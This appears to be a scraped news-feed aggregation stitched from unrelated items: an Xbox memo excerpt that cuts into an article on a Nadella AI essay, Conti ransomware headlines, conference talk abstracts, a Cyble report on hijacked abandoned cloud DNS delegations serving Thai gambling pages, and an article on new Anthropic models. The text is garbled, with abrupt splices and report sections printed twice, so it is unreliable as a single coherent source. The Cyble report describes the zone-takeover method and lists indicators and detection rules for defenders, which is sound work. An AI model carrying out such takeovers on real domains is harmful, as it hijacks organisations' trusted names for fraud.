The Xbox landscape seems very different 25 years later. Last week, mere days after a bullish summer showcase full of Gears of War revivals and promises of a renewed focus on Xbox’s gaming strengths, new CEO, Asha Sharma, and chief content officer, Matt Booty, wrote a memo to Xbox staff inviting them to brace for “hard truths”. “Excluding Activision Blizzard King, over the past five years, we have spent over $20bn on ongoing investments in our content, platform and hardware subsidy, but our annual revenue has declined nearly half a billion during that time. Going forward, this cannot continue,” it read.

"The last thing any of us want is a world where every company across every sector is ceding value to a few models that eat everything they see," Nadella wrote in the piece, titled "A frontier without an ecosystem is not stable," which he posted on X. "If all the value is accrued by only a few models, the political economy will simply not tolerate it. There is no societal permission for an AI future that hollows out entire industries."

The essay is unusually philosophical for a sitting CEO of a $3 trillion technology company. But it arrives at a moment when the theoretical risks Nadella describes are becoming tangible — and, critically, when Microsoft itself is grappling with the very dynamics he warns about.

Nadella introduces "token capital" as the new currency of enterprise AI strategy

At the center of Nadella's essay sits a conceptual framework built on two pillars he calls "human capital" and "token capital." Human capital, he writes, "comprises the knowledge, judgment, relationships, ingenuity, and pattern recognition of its people," while token capital refers to "the firm's AI capability it builds and owns."

The two are not in tension, he insists. "Importantly, human capital does not become less valuable as token capital grows. It only becomes more valuable!" he writes. "I believe human agency will be the driver of token capital growth. Humans will set ambitious goals, connect dots across domains, build relationships, and recognize patterns that matter most. Without human direction, you have compute running in circles."

This framing is a deliberate counterweight to the narrative that AI will simply replace human workers or, at the enterprise level, dissolve the intellectual property that differentiates one company from another. Nadella is arguing that the real danger is not AI's capability but its tendency to centralize — and that the solution requires a fundamentally new architecture for how businesses interact with the technology.

He describes the real opportunity as "not in picking the best model but instead in building a learning loop on top of models where human capital and token capital compound." The key test of a company's sovereignty in this new era, he writes, is whether it can "switch out a 'generalist' model without losing the 'company veteran' expertise built into their learning system."

This is the essay's most actionable claim — and its most provocative. Nadella is telling enterprises they need to decouple their institutional intelligence from whatever frontier model they happen to be running, creating portable knowledge systems that survive vendor changes.

Why Nadella is comparing AI concentration to the outsourcing crisis that gutted industrial economies

Nadella draws a pointed historical parallel to make his warning concrete. "Think about what happened in the first phase of globalization where entire industrial economies were hollowed out by outsourcing," he writes. "The GDP numbers looked fine on the surface, but the displacement was real and the consequences are still being felt. Let us not bring that dynamic into the AI era, with a small number of AI systems capturing all the economic returns, while entire industries find their knowledge commoditized right out from underneath them."

The globalization analogy is not accidental. It reframes the AI concentration debate from a narrow technology question into a political-economy argument — one that regulators, policymakers, and voters can grasp. By invoking the social costs of offshoring, Nadella is signaling that the stakes extend well beyond the enterprise technology stack. He is warning that if the AI industry fails to distribute value broadly, the political system will intervene to force the issue.

"In my view, our priority has to be building a frontier ecosystem, not just a frontier model, so value flows broadly across every company, every industry, and every country," he writes. He grounds this in an older platform philosophy: "This is the ethos I've grown up with where platforms enable more value on top than is captured inside, and where every company can continuously innovate and build value of its own." It is a direct echo of the Windows-era argument, updated for the age of inference — and it carries a similarly self-interested subtext, given that Microsoft's cloud business sits squarely in that platform layer.

Microsoft's own runaway AI costs reveal the gap between Nadella's vision and operational reality

What makes Nadella's essay so striking is its timing. He published it on a day when Reuters reported that Microsoft shareholders filed a proposed class-action lawsuit in Seattle federal court, accusing the company of inflating its stock price by failing to disclose slowing growth in its Azure cloud business and the need to spend billions of dollars on AI infrastructure. The suit names Nadella and Chief Financial Officer Amy Hood among the defendants.

As the Yahoo Finance report on the lawsuit noted, Microsoft allegedly "aggressively promoted its AI developments, specifically its 'Copilot' assistant and close financial alliance with ChatGPT creator OpenAI, to artificially boost investor optimism," while understating infrastructure strain and capital risks. Microsoft also reported $37.5 billion of capital spending in its second quarter, up nearly 66% from a year earlier and above the $34.3 billion that analysts projected.

Microsoft's internal cost pressures around AI have surfaced in other concrete ways this year. The company is canceling the majority of its internal Claude Code licenses in its Experiences and Devices division, effective June 30, 2026. Monthly usage rates reached 84 to 95% by April 2026, and per-engineer API costs ranged between $500 and $2,000 monthly, according to Windows Forum. The cancellation came after Microsoft exhausted portions of its annual AI budget due to token-based billing, as Fortune had reported in May.

The Claude Code episode illustrates, at the micro level, the exact dynamic Nadella describes at the macro level. When a company's AI usage is metered by the token — the fundamental unit of compute that powers model inference — the more productive the tool becomes, the more expensive it gets. The term "token capital" in Nadella's essay carries a double meaning: it refers both to a firm's proprietary AI capability and, implicitly, to the actual tokens consumed in running it. Building a learning loop that compounds is aspirational. Paying the bills for that loop is operational reality.

Uber, Meta, and Amazon are all hitting the same AI spending wall — and it validates Nadella's warning

Microsoft is not alone in this bind. Uber burned through its entire 2026 AI coding tools budget in just four months after incentivizing employees to adopt the technology through an internal leaderboard ranking teams by total AI tool usage. Uber has since instituted a monthly $1,500 cap per employee per agentic coding tool, according to TechCrunch. At Meta, an employee created a leaderboard called "Claudeonomics" to track which workers consumed the most AI tokens. Amazon, meanwhile, has pushed employees to "tokenmaxx" — use as many AI tokens as possible.

The emerging pattern is clear: enterprises adopted AI coding tools aggressively, saw genuine productivity gains, and then discovered that the consumption-based economics of frontier models created budget crises that traditional software licensing never would have. Bryan Catanzaro, vice president of applied deep learning at Nvidia, captured the tension bluntly in an interview with Axios: "For my team, the cost of compute is far beyond the costs of the employees," he said.

These cost dynamics land differently in the context of Nadella's essay. He prescribes a three-layer architecture — evaluation, reinforcement learning, and retrieval — designed to sit between a company's workforce and whatever frontier model it subscribes to. Companies, he argues, need to build "private evals" that "capture whether a model is actually improving against outcomes that matter to the business (not just external benchmarks!)," alongside "private reinforcement learning environments" that "let models grow stronger on real traces from inside the organization" and a knowledge base that "makes institutional memory queryable and use of tokens more efficient." He calls the resulting system "a hill climbing machine" that, "unlike most assets, it compounds."

Other Big Tech CEOs are echoing Nadella's fears about AI models devouring enterprise knowledge

Nadella's concerns do not exist in isolation. Other technology leaders have been raising similar warnings throughout 2026, though none have offered as prescriptive a response.

Snowflake CEO Sridhar Ramaswamy warned in a February podcast that the biggest software companies risk being reduced to mere data sources. "The big model makers want to create a world in which all of the data for all of the enterprises is easily available to them," Ramaswamy said, describing everything else as "a dumb data pipe that feeds into that big brain." He added that Snowflake needs to operate with a "fear" that enterprises would abandon software-specific AI agents in favor of all-inclusive agents that hoover up data from everywhere.

Box CEO Aaron Levie struck a similar note in a January LinkedIn post. AI models can now perform high-level knowledge work across nearly every profession, from law to strategy to scientific research, he argued. "The question that we will have to wrestle with is, in a world where everyone has access to the same expert intelligence, how does a company differentiate?" he wrote.

The combined effect of these statements is a shared diagnosis from three very different corners of the enterprise technology market: the current trajectory of AI development threatens to collapse competitive differentiation across entire industries. Nadella's essay stands apart from the others because it moves beyond diagnosis and proposes a specific architectural remedy. But the prescription is impossible to separate from the prescriber's interests.

Microsoft sits in precisely the platform layer that Nadella's framework would make indispensable — the company builds its own frontier models, operates the cloud infrastructure those models run on, and maintains deep partnerships with the leading independent AI labs. A world in which every enterprise builds a proprietary learning loop on top of commodity foundation models is, conveniently, a world in which Microsoft sells the picks and shovels to all of them.

Nadella's Scout controversy and shareholder lawsuit reveal the tension inside Microsoft's own AI strategy

The essay also arrives just ten days after Nadella publicly rebuked one of his own executives for outlining a plan to "make people addicted" to a new AI tool called Scout.. Microsoft corporate vice president Omar Shahine had written an internal memo describing a three-phase plan to transform Scout "from addictive app to agentic platform," with the first phase focused on features that "make people depend on it daily." Nadella responded on an internal message board: "This is absolutely a non-goal! If anything we are doing the exact opposite. We want to make sure AI empowers and adds real value to human endeavor and broad economic growth!"

The Scout incident and Sunday's essay together suggest Nadella is actively constructing a public philosophy of AI that emphasizes broad value creation over extractive engagement — whether or not every corner of Microsoft has internalized that message. One anonymous Microsoft employee told 404 Media, as the Post reported, that the leaked Scout document was "very troubling," adding: "It feels like one of those 'saying the quiet part out loud' moments."

For technical decision-makers evaluating Nadella's essay, the practical implications are significant. He is arguing that choosing an AI model matters less than building the learning infrastructure around it. He is arguing that the ability to swap models without losing institutional intelligence is the critical test of AI sovereignty. And he is warning that companies that fail to build these systems will find their expertise absorbed and commoditized by the models themselves. "You can offload a task, or even a job, but you can never offload your learning," Nadella writes. "The future of the firm is the ability to compound that learning across people and AI."

The question Nadella's essay cannot answer is whether Microsoft will practice what its CEO preaches

Whether Nadella's vision materializes depends on a question his essay carefully sidesteps: whether the platform providers who build and host the frontier ecosystem will resist the temptation to capture the value flowing through it. Nadella insists that "platforms enable more value on top than is captured inside." But Microsoft's own trajectory this year — the ballooning capital expenditures, the Claude Code budget crisis, the shareholder lawsuit alleging concealed costs, the internal memo about making users addicted — suggests the economics of restraint are harder than the philosophy of restraint.

Nadella ends his essay with the claim that broad value distribution "is the stable equilibrium we should build together." He may be right. Ecosystems have historically outperformed walled gardens over long time horizons. But stable equilibria require every major player to forgo short-term extraction in favor of long-term compounding — and right now, the AI industry is burning through budgets in four months and spending 66% more on infrastructure than analysts expected. The CEO of the world's most valuable technology company has written an eloquent argument for why the AI economy needs to work differently. The open question is whether his own company's balance sheet will let him prove it.

Read more →

The post Ukrainian national pleads guilty in connection with Conti ransomware appeared first on IT Security News.

The post Ukrainian national pleads guilty in connection with Conti ransomware appeared first on Help Net Security.

Conti Ransomware Targeted Victims Worldwide

Defendant Admitted Role in Malware Development

International Cooperation Led to Arrest and Extradition

Part of Broader Operation Riptide Crackdown

https://media.ccc.de/v/tdf5-147--the-human-in-the-loop-ai-induced-skill-atrophy

The principle of "the human in the loop" is often touted as a control mechanism for AI agents, and is also used to quell fears of unemployment. Unfortunately, this directly contradicts the way most of us learn and maintain our skills. And it seems like this effect is not a bug, but a feature.

sarahfops

https://cfp.cttue.de/tdf5/talk/L7TPZ8/

#tdf2026 #EthicsPoliticsandSociety

Licensed to the public under https://creativecommons.org/licenses/by/4.0/

https://media.ccc.de/v/tdf5-142-how-to-master-the-disaster-

The world breaks apart, but good news are: Anarchists & activists are better prepared for doomsday than we might think. We are familiar with the absence of command-lines and a lack of resources. In countless campaigns, mobilisations & mass actions, we´ve learned to abandon micromanagement & to trust our fellow activists. We´ve learned to organize and to get everyone a task that fits their capabilities. We will talk about strategies to navigate the chaos and what official disaster response structures can learn from social movements - and furthermore: Why software developers and other nerds might be a catalyst to scale up these strategies.

Both, Berlin and New York were hit by disasters this winter. New York by a blizzard, Berlin by a blackout. the Mayors of both cities were immediately hands on. Kai Wegner, Mayor of Berlin took a tennis racket and developed excuses, when bottlenecks within the pyramidal organised disaster response led to embarrassing failure; Zohran Mamdani, mayor of New York, took a snow shovel himself and invited everyone to join and clear necessary infrastructure from snow, in a grassroots styled and decentralised response. Everyone could get a shovel and everyone would be payed. This and other examples show, how strategies, activists are using to organise social movements, could also work out to master the disaster of any kind. This is not only good for doomsday, but we can deviate strategies how to prevent it. Its not a coincidence that the fire brigade and socialism both are associated with red colour. Let´s not leave the blue lights to the cops, lets grab the chance and the shovels and become disaster responders.

Ruben Neugebauer

https://cfp.cttue.de/tdf5/talk/AKYVCK/

#tdf2026 #EthicsPoliticsandSociety

Licensed to the public under https://creativecommons.org/licenses/by/4.0/

Read more →

The post Ukrainian Extradited from Ireland Pleads Guilty Over Role in Conti Ransomware Scheme appeared first on IT Security News.

Read more of this story at Slashdot.

Read more →

The post Extradited Ukrainian Man Admits Role in Conti Ransomware Attacks appeared first on IT Security News.

Anthropic surveyed nearly 52,000 Americans about their hopes and fears around AI. Sixty-four percent fear job losses, and 56 percent worry about losing the ability to think for themselves. Daily AI users are far less concerned. Still, most people reject AI in their own workplace, even for tasks they think it can handle.

The article Over half of Americans fear losing both their jobs and their independent thinking to AI, survey finds appeared first on The Decoder.

Read more of this story at Slashdot.

Executive Summary

Cyble Research & Intelligence Labs (CRIL) has identified an active SEO poisoning campaign exploiting abandoned cloud DNS zone delegations to serve Thai-language gambling content under the domain authority of reputed enterprise organizations. The campaign has compromised 163 organizations across 30+ countries, spanning federal government agencies, national healthcare systems, financial institutions, critical infrastructure operators, and major universities.

The primary mechanism is the Azure DNS zone takeover. When enterprises decommission cloud infrastructure, NS delegations to Azure DNS zones are routinely left in place. The actor systematically identifies these abandoned delegations, claims the orphaned zones under a fresh Azure subscription, and deploys a Next.js gambling kit behind a valid Let's Encrypt wildcard TLS certificate, all resolving cleanly under the victim's own domain. A browser, a search engine, and a Thai user following a search result all see a page identical to a legitimate enterprise property.

This report documents the full campaign architecture: the pivot chain from initial discovery through infrastructure attribution, the DNS compromise mechanisms observed, the structured affiliate monetization layer with server-side geographic filtering and dual-tier commission tracking, and a dedicated 103-node application backend in Hong Kong tied to a single Chinese operator by twelve independent technical evidence points. At the time of publication, 161 organizations remain actively compromised.

Initial Discovery

During an ongoing vulnerability assessment, CRIL identified an anomalous DNS resolution on the cardsforheroes.verizon.com subdomain environment. What initially appeared to be a single misconfigured endpoint turned out to be 1000+ individually named subdomains, each serving Thai-language online gambling content under Verizon's trusted domain authority.

Every subdomain followed a gambling brand keyword pattern with URL-encoded Thai characters confirming the intended audience. All endpoints resolved to a single IP at OVH SAS (AS16276). Loading a representative endpoint revealed a fully rendered Next.js gambling application with outbound affiliate redirect links.

It matched the structural similarity of 97 other enterprise subdomains across completely unrelated organizations. The affiliate referral parameter on every redirect established the monetization intent immediately: this was not defacement or malware delivery, but a structured operation funneling Thai search traffic to gambling registrations for commission.

The Verizon endpoint was not the campaign's origin. Following it, 162 other compromised organizations were exposed.

Background: The Vulnerability Class

Cloud infrastructure provisioning introduces a category of DNS misconfiguration that is structurally different from the record-level errors security teams routinely audit. When an enterprise provisions Azure resources for a project environment, a standard step is to delegate a subdomain to an Azure DNS zone by adding NS records in the parent DNS zone that point to Microsoft's nameservers for that environment. The zone lives inside the Azure subscription, the team manages its records there, and the project operates normally.

"What consistently fails is the decommissioning step. When the project ends, and the Azure resources are deleted, the NS delegation in the parent DNS zone is not usually removed. It persists silently, pointing any DNS query for that subdomain to Azure nameservers that no longer serve authoritative records for it.

In several cases identified during this investigation, these delegations had been left in place for over six years.

The exploitability of this configuration depends on another condition: whether the Azure DNS zone for that subdomain is claimable by a new subscriber. Microsoft's zone-creation model has historically allowed any subscriber to register a zone by name under their own subscription. A zone abandoned with a canceled subscription can be recreated by a third party, who then inherits the delegated DNS authority that the enterprise's parent zone never revoked.

Our analysis of this campaign demonstrates that awareness has not translated into hygiene at an enterprise scale.

DNS Compromise Mechanisms

Four distinct mechanisms account for the 163 confirmed victims. Each exploits the same underlying failure: a DNS delegation that outlived the infrastructure it was created to serve.

Mechanism 1 — Azure DNS Zone Takeover (150+ Organizations)

The actor identifies subdomains whose NS records still point to Azure DNS nameservers, even though the underlying subscription has been canceled or abandoned. A new Azure subscription is created, the orphaned zone is claimed by name, a wildcard A record is added that points all subdomains to a delivery IP, and ACME HTTP-01 validation is performed through the now-controlled DNS to obtain a Let's Encrypt wildcard certificate. One DNS record exposes every possible subdomain of the environment.

Direct authoritative DNS evidence confirms the mechanism. Querying Microsoft's own nameserver infrastructure returns the actor's wildcard A record. Zone SOA serials of 1 on confirmed victims establish that the zones were created from scratch by the actor, not modified from an existing state. Certificate Transparency logs confirm the dormancy periods:

• A major pharmaceutical company's pilot subdomain: last legitimate certificate October 2019, actor certificate April 11, 2026 — a 6.5-year gap
• A global electronics company's IoT platform: last legitimate certificate February 2023, actor certificate April 10, 2026

The bulk of actor-obtained certificates cluster in April 2026, indicating a concentrated automated exploitation window applied across targets abandoned over multiple years.

Mechanism 2 — DigitalOcean DNS Zone Takeover (2 Organizations)

Two organizations, a US luxury furniture retailer and an Indian university, have their compromised subdomains delegated to DigitalOcean nameservers rather than Azure. Both carry wildcard records resolving to 38.127.8.49.

DigitalOcean's zone-claiming model carries the same structural vulnerability: abandoned DNS zones in canceled accounts become available for re-registration. The actor's tooling targets multiple cloud DNS providers.

Mechanism 3 — Direct Wildcard Misconfiguration (2 Organizations)

A US energy company's development subdomain and a mobile payments platform's development subdomain both resolve via wildcard to 139.99.82.106, even though there is no cloud DNS zone delegation. Both use their own organizational nameservers, making cloud zone takeover mechanically impossible.

The wildcard records resolve from within the parent zone, indicating either an orphaned wildcard A record left in the organization's own DNS console when a project was decommissioned, or a direct DNS management access path the actor exploited. "A wildcard A record in the DNS console of a payments platform is a more direct access path than a cloud zone takeover.

Mechanism 3 — Direct Wildcard Misconfiguration (2 Organizations)

A US energy company's development subdomain and a mobile payments platform's development subdomain both resolve via wildcard to 139.99.82.106, even though there is no cloud DNS zone delegation. Both use their own organizational nameservers, making cloud zone takeover mechanically impossible.

The wildcard records resolve from within the parent zone, indicating either an orphaned wildcard A record left in the organization's own DNS console when a project was decommissioned, or a direct DNS management access path the actor exploited. "A wildcard A record in the DNS console of a payments platform is a more direct access path than a cloud zone takeover.

Mechanism 4 — Per-Subdomain A Records (1 Organization)

The Verizon environment represents a distinct approach: 1000+ individually named A records rather than a single wildcard. Each gambling-keyword subdomain is a separately created DNS entry pointing to 51.79.199.51. This implies either an automated DNS API script with zone-write access or a compromised DNS management credential that enabled bulk record creation.

Technical Analysis

Pivoting: From One Endpoint to 163 Organizations

Pivot 1: 51.79.199.51 — Primary Delivery Node and First Scope Expansion

The first pivot came from the primary delivery IP itself. Cross-referencing 51.79.199.51 against passive DNS resolution data and page fingerprint matching returned over 90 enterprise subdomains serving identical content, confirmed by:

• Identical Next.js build ID: QQOrXCFjoI6C9oF-4YVhl
• Identical favicon path: /img/ib99-hq.ico
• Outbound affiliate redirects to the same three destination domains across every result

Every result was a subdomain of a legitimately owned enterprise domain with a clean reputation. Standard threat intelligence feeds returned no signal on any of them. The shared page fingerprint expanded the confirmed victim set from 1 organization to over 90 in a single query.

Pivot 2: 139.99.82.106 and 38.127.8.49 — Secondary and Tertiary Delivery Nodes

Passive DNS resolution data against AS16276 (OVH) surfaced two additional delivery IPs operating in parallel. Both served the identical gambling kit with the same build fingerprint across a partially overlapping but distinct victim set. Government agencies, healthcare organizations, and several non-Azure takeover victims routed through these two nodes rather than the primary. Together, the three OVH nodes account for the full 163-organization victim estate. All three presented clean IP reputations, no prior association with threat actors, and standard deployment signatures at the surface level.

Pivot 3: 38.173.56.218 — The JARM Anomaly That Exposed the Backend

JARM TLS fingerprinting against the primary delivery node returned thousands of global matches, nearly all of them generic shared hosting providers. One result stood apart by every observable metric: 38.173.56.218 in Hong Kong, AS398478 (PEG TECH INC), presenting:

• A ThinkPHP application framework error on port 443
• A Chinese server management panel certificate identity on port 21
• MySQL 5.7.44-log on port 3306

Where every other JARM match represented commodity hosting, this node showed a purpose-built application stack managed from mainland China. This was the single point of entry from the OVH delivery layer into the backend infrastructure. Figures 2 and 3 showcase these using findings from ODIN by Cyble.

Affiliate Architecture: How the Campaign Monetizes

Every destination redirect carries a ?rc= affiliate code — ibiza99vip1, bigwinv1, link99, or seven77vip1 — that attributes completed registrations to the actor and triggers a commission payout from the destination platform. This is standard affiliate marketing infrastructure; legal and illegal gambling operations use it. A server-side layer beneath the visible code separates this campaign from simple redirect farms. A POST request intercepted at a live endpoint returned this before any redirect was issued:

• "status": "ok",
•  "msg": "TH - Referrer verified",
•  "data": { "referrer": "link99" },
•  "x-token": ""

The backend validates geographic origin server-side. Requests from outside Thailand are not redirected, keeping traffic focused and limiting scanner exposure. The link99 identifier is a sub-affiliate publisher ID that sits above the ?rc= codes in the platform's tracking hierarchy.

The actor earns at both tiers: publisher-level credit under link99 for delivering Thai traffic, and a per-registration payout under the ?rc= code for each conversion. The two layers are independent — campaign codes can rotate while link99 persists as the actor's permanent platform identity.

Pivoting on the Let's Encrypt certificate presented by this node, issued to broker-xm.com, returned 103 IPs across seven contiguous /24 subnets in 38.173.0.0/16, all within AS398478. A single certificate deployed across 103 servers in a wholesale-allocated IP block produced the complete backend fleet inventory from one certificate query.

Affiliate Architecture: How the Campaign Monetizes

Every destination redirect carries a ?rc= affiliate code — ibiza99vip1, bigwinv1, link99, or seven77vip1 — that attributes completed registrations to the actor and triggers a commission payout from the destination platform. This is standard affiliate marketing infrastructure; legal and illegal gambling operations use it. A server-side layer beneath the visible code separates this campaign from simple redirect farms. A POST request intercepted at a live endpoint returned this before any redirect was issued:

• "status": "ok",
•  "msg": "TH - Referrer verified",
•  "data": { "referrer": "link99" },
•  "x-token": ""

The backend validates geographic origin server-side. Requests from outside Thailand are not redirected, keeping traffic focused and limiting scanner exposure. The link99 identifier is a sub-affiliate publisher ID that sits above the ?rc= codes in the platform's tracking hierarchy.

The actor earns at both tiers: publisher-level credit under link99 for delivering Thai traffic, and a per-registration payout under the ?rc= code for each conversion. The two layers are independent — campaign codes can rotate while link99 persists as the actor's permanent platform identity.

Four destination platforms have been confirmed — ibiza99.autos, big888.store, seven77.click, and stillsunday.pl. These domains are white-label deployments on a shared codebase, as confirmed by identical CSS hashes and JavaScript resilience logic across all three, except big888.store, which carries active Google Search Console verification, indicating the platform operator runs its own independent SEO operation beyond this campaign. Each platform maintains its own appbox.* CDN subdomains, a fourth infrastructure layer entirely separate from the delivery nodes, backend fleet, and victim domains.

The Gambling Kit: What the Endpoint Delivers

An HTTP request to any compromised enterprise subdomain with Thai locale headers returns a fully rendered Next.js page that returns a legitimate enterprise web property. The page presents

• lang="th" with Thai-language gambling platform branding
• A valid Let's Encrypt wildcard TLS certificate matching the victim subdomain, clean browser padlock, no warnings
• Schema.org FAQ structured data with Thai-language answers about minimum deposits, withdrawal timelines, and mobile compatibility, directly targeting the queries Thai users make when researching gambling platforms
• AMP alternate links for Google mobile indexing coverage
• Static assets served from paths under the compromised domain itself, using the victim's domain authority as a CDN

The minimum deposit advertised across all kit variants is 1 Thai Baht, approximately $0.03 USD. The 1-baht minimum ($0.03 USD) removes the deposit threshold that causes most users to abandon the registration flow before converting. The kit fingerprint is consistent across the entire victim estate, regardless of which victim domain or OVH node serves the content, confirming centralized build and deployment by a single operator.

Backend Infrastructure: The Hong Kong Fleet

The three OVH delivery nodes handle content distribution, but the application layer sits entirely within a separate dedicated infrastructure in Hong Kong. The 103-node backend fleet is distributed across seven /24 subnets within 38.173.0.0/16, all under AS398478 (PEG TECH INC). Seven independent evidence points converge on single-operator control; the MD5 match across all 103 nodes on port 80 alone eliminates coincidence.

Detection and Hunting

The campaign produces no signal in standard security controls. Valid TLS certificates, clean IP reputation, trusted domain names, and no exploit delivery mean conventional tooling produces no signal. Detection requires operating at the DNS layer.

Certificate Transparency monitoring is the most reliable early indicator. An unexpected Let's Encrypt wildcard certificate on a corporate-owned subdomain, particularly following a period of no issuance, is an anomaly no legitimate provisioning scenario produces. Monitoring CT logs for wildcard certificates whose expected issuer is a corporate or premium CA would have detected every Azure takeover victim at the time of certificate issuance.

Azure DNS zone delegation auditing is a structural prevention control. Organizations should enumerate all NS delegation records in their parent DNS zones and verify that corresponding Azure DNS zones exist in subscriptions they own and actively manage. 163 organizations across 30 countries had gambling content served under their domain authority without any alert firing. One class of DNS misconfiguration enabled it.

Wildcard DNS testing confirms active exploitation. A randomized nonsense hostname query against any Azure-delegated subdomain that returns a resolution should be treated as a compromised zone until proven otherwise.

Network and endpoint detection rules:

• DNS answers resolving to 51.79.199.51, 139.99.82.106, or 38.127.8.49
• URL query parameters containing rc=ibiza99vip1, rc=bigwinv1, or rc=seven77vip1 or rc=link99
• HTTP requests to /img/ib99-hq.ico
• Outbound connections to 38.173.30.0/24, 38.173.37.0/24, 38.173.56.0/24, 38.173.57.0/24, 38.173.235.0/24, 38.173.236.0/24, or 38.173.239.0/24

Internet scanning queries:

• HTTP body MD5: 7df3d7cf3358af3f470ac7229387ef94
• TLS certificate CN: broker-xm.com
• ASN sweep: AS398478

Remediation

For Azure DNS zone takeover victims:

1. Remove the NS delegation from your parent DNS zone immediately. This severs the attack chain regardless of what the actor maintains inside the Azure zone, which is under their control and cannot be directly modified by the victim organization.
2. Report the abandoned zone to Microsoft MSRC at msrc@microsoft.com with the zone name and evidence. Microsoft can force-remove zones from subscriptions holding abandoned delegations.
3. Request revocation of any Let's Encrypt certificates issued against the compromised subdomain using the certificate serial numbers from crt.sh.
4. Audit all remaining subdomains for additional environment-style entries (dev, uat, staging, preprod, pilot, lab, test, sandbox) carrying NS delegations to cloud providers, and verify each delegation is intentional, current, and managed.

For DigitalOcean zone takeover victims: Remove the NS delegation from the parent zone and verify whether the DigitalOcean zone exists in an account you own.

For direct wildcard misconfiguration victims: Remove the wildcard A record from your DNS management console. If the origin of the record cannot be identified, treat the DNS management credential as compromised and rotate it immediately.

Conclusion

This campaign demonstrates that enterprise reputational trust can be systematically harvested through a single class of DNS misconfiguration that most organizations have no visibility into. The actor did not breach any perimeter or exploit any application vulnerability. They claimed what had been left unclaimed and built a commercial affiliate operation on top of it.

The scale, 163 organizations across 30+ countries, is not the result of 163 separate attacks. It is an automated scanning process applied to a single vulnerability class. A single wildcard record beneath an abandoned Azure delegation exposes an unlimited subdomain namespace, each entry inheriting the full TLS-verified authority of the victim's brand. The campaign lives entirely within legitimate infrastructure, OVH delivery nodes, Let's Encrypt certificates, victim-owned domains, and organic search rankings, which is precisely why conventional controls produce no signal.

Audit your DNS estate. Every abandoned NS delegation pointing to a cloud provider is a candidate for the next version of this list. Every abandoned NS delegation pointing to a cloud provider is a potential entry in the next version of this list. The remediation is simple. The detection methodology is documented here. The gap between a decommissioned project and an actively exploited subdomain closed silently on 163 organizations. In several cases, it stayed closed for over six years.

MITRE ATT&CK® Techniques

Indicators of Compromise (IOCs)

The post Borrowed Trust – Systematic Exploitation of Abandoned Cloud DNS Delegations to serve Thai Gambling SEO Content appeared first on Cyble.

The post Microsoft breaks Patch Tuesday record with 206 vulnerabilities appeared first on CyberScoop.

The company says Fable 5, which is the version most users and developers will get starting today, exceeds every Claude model it has previously made generally available — featuring stronger performance across software engineering, knowledge work, vision, scientific research and long-running tasks.

It smashes the existing benchmarks and comes atop on nearly all of them, though the prior Claude Mythos Preview version of the model still takes the top spots on computer use and multidisciplinary reasoning (see benchmark chart below and here).

The new Claude Mythos 5, by contrast, is a more restricted, upgraded version of the prior, similarly restricted Mythos Preview model. As such, it has certain safeguards lifted for approved users, including Anthropic's cybersecurity partners in its Project Glasswing effort, and select biology researchers.

The key difference is that the general purpose Fable 5 wraps the same underlying Mythos-class capability in new safeguards. Anthropic says requests involving certain high-risk areas — including cybersecurity, biology and chemistry, and model distillation — are automatically routed to Claude Opus 4.8, Anthropic's previously flagship general model, instead, with users notified when that happens.

The company says more than 95% of Fable sessions run entirely on Fable’s own responses, with no fallback, and that internal and external red-teaming efforts found no “universal jailbreaks” after more than 1,000 hours of testing.

Anthropic says Fable 5 is available to the general public today through its website, apps, and API, but that Mythos 5 will initially only be made available to users who already have access to the older Claude Mythos Preview.

Pricing, access and a tricky rollout

Anthropic is pricing both Fable 5 and Mythos 5 at $10 per million input tokens and $50 per million output tokens. The company says that is less than half the price of Claude Mythos Preview, but still ranks as the most expensive of major AI models available globally.

VentureBeat Frontier AI Model API Pricing Snapshot

For developers, Fable 5 is available through the Claude API as claude-fable-5. Anthropic says Fable 5 is fully available today on the Claude API and on consumption-based Enterprise plans.

For subscription users, the rollout is more complicated. Anthropic says Fable 5 will be included on Pro, Max, Team and seat-based Enterprise plans at no extra cost from today through June 22.

On June 23, the company plans to remove Fable 5 from those plans, after which using it will require usage credits. Anthropic says it aims to restore Fable 5 as a standard part of subscription plans as quickly as possible.

The difference between Fable 5 and Mythos 5

Anthropic is not presenting Fable 5 and Mythos 5 as two separate models in the usual “small versus large” sense. Instead, they appear to share the same base capability level. The difference is access control — that is, how easily it will be for users to get their hands on the models, and the guardrails embedded in each.

As previously mentioned Fable 5 includes a new safeguard layer that detects certain high-risk requests — including cybersecurity, biology and chemistry, and attempts to distill the model’s capabilities into other systems — and routes those requests to Claude Opus 4.8.

Mythos 5 lifts some of those restrictions for trusted users working in approved domains.

In practical terms, Mythos 5 is more powerful for sensitive cyber and biology work because it can answer in areas where Fable 5 falls back.

For most ordinary enterprise and developer tasks, however, Anthropic says Fable 5 performs effectively the same as Mythos 5.

The launch also signals how Anthropic plans to bring frontier models with dangerous dual-use capabilities into the market: not by releasing all capabilities to everyone, and not by simply refusing risky questions, but by routing some requests to a less capable model while keeping the stronger model available for the majority of everyday work.

A major improvement in autonomous coding

For enterprise buyers, the most immediate use case is likely software engineering. Anthropic says Fable 5 can work unattended for longer and with more independence than previous Claude models, which is exactly the capability enterprises need if they want AI agents to do more than autocomplete code or answer developer questions.

On SWE-bench Pro, which measures a model's ability to complete difficult software engineering tasks, Anthropic says Fable 5 and Mythos 5 reach 80.3%, vastly outperforming OpenAI's latest and greatest general model GPT-5.5, which scored 58.6%.

On Cognition’s FrontierCode Diamond benchmark, which tests high-quality, maintainable agentic coding, the models score 29.3%, compared with 13.4% for Claude Opus 4.8 and 5.7% for GPT-5.5, according to the benchmark table included in Anthropic’s materials.

Anthropic also says Fable 5 scores highest among frontier models on FrontierCode even at medium reasoning effort, suggesting the model may deliver stronger coding results without always needing maximum compute.

The most striking customer example comes from Stripe. Anthropic says Stripe tested Fable 5 in a 50-million-line Ruby codebase and found that the model completed a codebase-wide migration in one day that otherwise would have taken a team more than two months by hand. Stripe said, “Fable 5 compresses months of engineering into days. In our 50-million-line Ruby codebase, it did in a day what would've taken us more than two months by hand.”

Other early users describe the model as especially useful for long-horizon development tasks. Cursor said, “Fable 5 is the state of the art model on CursorBench. It's opened up a class of long-horizon problems that were out of reach for earlier models.” Replit said Fable 5 is the highest-performing model it has tested on ViBench, its end-to-end “vibe-coding” benchmark, and that it builds apps in less time with fewer tokens. Figma said Fable 5 is “a clear step forward on agentic coding and prototyping.”

This is the enterprise shift Anthropic is trying to sell: AI coding systems that can take on larger units of work, not just individual tickets. That could include codebase migrations, app prototyping, pull request review, test generation, debugging across unfamiliar tools, user interface design and multi-step internal software projects.

